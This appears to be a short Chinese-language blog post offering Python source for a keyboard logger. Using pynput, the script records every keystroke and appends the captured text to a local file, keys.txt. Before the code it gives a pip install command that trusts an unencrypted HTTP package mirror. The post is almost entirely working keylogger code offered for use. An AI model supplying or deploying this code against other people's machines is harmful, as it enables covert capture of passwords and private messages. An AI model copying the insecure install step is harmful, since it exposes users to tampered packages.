0
点赞
收藏
分享

微信扫一扫

利用 Python记录键盘操作 —— 2022/2/16

李雨喵 2022-02-16 阅读 38

键盘记录器

pip install pynput -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
from pynput.keyboard import Key, Controller, Listener

keyboard = Controller()

keys = []
def on_press(key):
    global keys
    my_string = str(key).replace("'", "")
    keys.append(my_string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string) > 40:
        with open('keys.txt', 'a') as f:
            f.write(main_string + '\n')
            keys = []

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
举报

相关推荐

0 条评论